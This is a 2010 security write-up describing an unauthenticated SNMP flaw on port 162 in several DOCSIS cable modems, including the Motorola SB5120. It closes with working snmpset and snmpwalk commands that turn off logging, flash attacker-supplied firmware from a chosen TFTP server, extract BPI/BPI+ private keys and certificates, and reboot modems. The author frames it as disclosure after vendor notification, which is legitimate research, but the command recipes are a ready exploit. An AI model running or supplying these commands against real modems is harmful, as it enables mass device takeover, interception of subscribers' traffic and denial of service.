“Blackboxes” (with 0day)

By ShadowHatesYou, 2010
irc.freenode.net #remote-exploit
Shadow@squatthis.net

A few years ago there was discussion on slashdot, bugtraq, and other places about the possibility of hackers using common broadband routers(such as the WRT54G) as nodes in botnets. These discusisons interested me, since people never really think about the little magical black box with blinky lights on them. They plug it in, and it works(Or they plug it in, flash it with DD-WRT, and then it works.) But there's more to it - these little black boxes that people take for granted are fully functional computers. If they **were** compromised, it's completely plausible that they could act the same way any compromised device does – intercepting traffic, launching DDoS attacks, spamming the world.... The discussions went on, and it seemed (to me) the threat was (mostly) overstated. Either remote management had to be enabled, or you had to be within the LAN to exploit these devices. The way the IPTables rules were/are setup, there's little to do to the device remotely.

But, then I looked at the other black box sitting next to my Linksys WRT54G - my Motorola SB5120. I knew **very little** about this device. Nmap told me that it ran VxWorks, but all I really knew was that VxWorks was an RTOS targeted at embedded systems. I found my ignorance unacceptable and started reading up on DOCSIS and related topics. It didn't take long for me to find problems in the supporting infrastructure, and my focus shifted away from CPE. I found neat things I could do with Broadcast Control Managers and then UBR10012s... but these things weren't found in a lab environment. I wanted to talk about what I found and get it fixed, but after having some discussions with Jennifer Granick from the EFF I was dismayed – everything I found was sure to get me in trouble. These problems still remain unaddressed/undisclosed today, but it lead to my curiosity coming full circle. I needed something to talk about that wouldn't get me in trouble, and customer owned CPE was the answer. I looked back at my SB5120, and the SB5101 running ECOS based firmware sitting beside it, and I knew my SB5120 was a perfect target – it's one of the most commonly supplied DOCSIS 1.1/2.0 modems around. The cable modem hacking community hadn't managed to uncap this device yet, and it's literally a black box with blinky lights... what more could I ask for? After a few days of poking around the device, I finally discovered an exploit allowing me to mess with it remotely.

Originally I thought this issue was going to be limited to the HFC(Hybrid fiber coaxial network) – most ISPs provision these devices with addresses inside the RFC1918 IP Space, sharing 10.0.0.0/8 and 172.16.0.0/12 with the supporting network infrastructure such as TFTP/NTP/DHCP servers, Broadcast Control managers, and stuff like that... but then at a friends house I noticed that Comcast was giving out WAN IPs to these devices! There is no reason why these devices should have WAN accessable IPs, but I was thankful. I couldn't have picked a better target. I looked further in to what I'd found, discovering that not only can I reboot the CPE causing a DoS, but I could also retrieve the cryptographic certificates specified in the DOCSIS standard(BPI/BPI+) used to secure the information traveling over the wire. This is bad - everything in DOCSIS is on a shared piece of coax until you hit the “node” and these certificates are the only thing stopping your modem from showing your neighbor's traffic.

After fiddling with traffic interception/manipulation using my modem and friend's modem, I decided to keep digging. I **really** wanted to install own code on another device remotely, and I was sure of my future success in this objective. Finally after about a week and a half of digging through things, I figured out a way to do it. The vulnerability itself lies in the way these devices are managed... mostly through SNMP. When a modem finishes with layer 1 initialization and gets around to doing layer 3, it sends a standard DHCP discovery to broadcast. The CMTS responds with a DHCP ACK, specifying a TFTP server and a config file. This config file sets your bandwidth caps as well as both standardized and proprietary vendor-specific SNMP MIBs, such as the SNMP community string, network management subnet that's allowed to send SNMP queries, and QoS settings. If one was on the right subnet you could send the proper SNMP Set commands to a modem, and the modem will retrieve a specified firmware image from the specified TFTP server, write it to flash, and reboot. Sounds familiar, doesn't it? Isn't this what everyone was talking about doing to WRT54Gs? Since SNMP relies on UDP for transport, this protocol is vulnerable to spoofing should the CMTS not be configured for egress filtering.

This is a fundamental flaw in DOCSIS. Any post-provisioning management gets done via SNMP from the network management subnet specified in the DOCSIS config file. Comcast, Cox, RoadRunner, and Charter all seem to reuse the SNMP community string. Every device using that config file has the same password, so any single attacker on the HFC can quickly reflash extremely large numbers of modems. Unfortunately, ISPs are starting to filter port 161 on the HFC to prevent others from obtaining MACs/SNs of modems across the HFC.

But that doesn't matter. I accidentally mistyped, sending an SNMP query to port 162 instead of 161. Realizing my mistake I was about to ^C, but much to my confusion I got a response from my modem **from the wrong port**. Worse, **I typed the community string too**. I played a little more, and came to the realization that this device was responding to an unauthenticated user on a non-standard port, **and it didn't care that I wasn't on the management subnet**. More, my SB5120 was letting me do whatever the hell I wanted. I could read non-accessible MIBs, I could initiate firmware upgrades, I could do whatever the hell I wanted.

Score.

I tested more devices finding that D-Link, RCA, SMC, Linksys, and Motorola all make modems that are vulnerable to this attack. This **is** the attack people were talking about previously – an attacker can/could reflash your modem with backdoored firmware that's physically MITM, network connected, and “black box” by design. Mass infection is trivial, guaranteed post-infection removal is impossible, and the number of vulnerable devices on a single ISP dwarfs the infection rate of say, the code red worm or the Storm Botnet. Due to this, I'm not going to release the patched firmware images for these devices but the following commands are available, demonstrating these attacks. Vendors and cablelabs were sent notification over two years ago, and this exploit isn't that bad compared to what I wish I could disclose from the infrastructure side. This is a **very** small yet dangerous sample of what I wanted to disclose at Shmoocon '09, but couldn't for fear of legal reprisal. As long as obscurity is equated to security the Red Team will have the advantage. There will always be those curious as to what the black box does, and there will always be those looking to maliciously profit off of their findings.

The following commands do not work on all modems, however they're known to work on SB5120s, SMC Connect, D-Link dcm-202s, Toshiba PCX2600s, and a handful of RCA and Linksys modems.

Upgrading firmware remotely:

1) Turn off remote syslog before doing anything.
2) Set the firmware file name.
3) Set the TFTP server we're going to upgrade from
4) Initiate the software download, flash the EEPROM, and then reboot with the new firmware.

```
snmpset -c blahhhhh -v 2c <ip>:162 1.3.6.1.2.1.69.1.5.2.0 a 0.0.0.0
snmpset -c blahhhhh -v 2c <ip>:162 1.3.6.1.2.1.69.1.3.2.0 s evilfirmware.bin
snmpset -c whatdoigetfor10dorrah -v 2c <ip>:162 1.3.6.1.2.1.69.1.3.1.0 a <tftp server ip>
snmpset -c everythingyouwant -v 2c <ip>:162 1.3.6.1.2.1.69.1.3.3.0 i 1
```

Retrieve the BPI/BPI+ crypto keys/certificates:

```
snmpwalk -v 2c -c whatever <ip>:162 iso.3.6.1.4.1.1166.1.19.4.50.0 > public.key
snmpwalk -v 2c -c whatever <ip>:162 iso.3.6.1.4.1.1166.1.19.4.51.0 > private.key
snmpwalk -v 2c -c whatever <ip>:162 iso.3.6.1.4.1.1166.1.19.4.54.0 > root.key
snmpwalk -v 2c -c whatever <ip>:162 iso.3.6.1.4.1.1166.1.19.4.52.0 > bpiplus_cmcert.cer
snmpwalk -v 2c -c whatever <ip>:162 iso.3.6.1.4.1.1166.1.19.4.53.0 > bpiplus_cacert.cer
```

Reboot a modem:

```
snmpset -v 2c -c whatever <ip>:162 1.3.6.1.2.1.69.1.1.3.0 i 1
```

Previous works

DNS Recursion bandwidth amplification Denial of Service PoC	- http://www.exploit-db.com/exploits/4560
2^6 TCP Control Bit Fuzzer (No ECN or CWR)	- http://www.exploit-db.com/papers/11105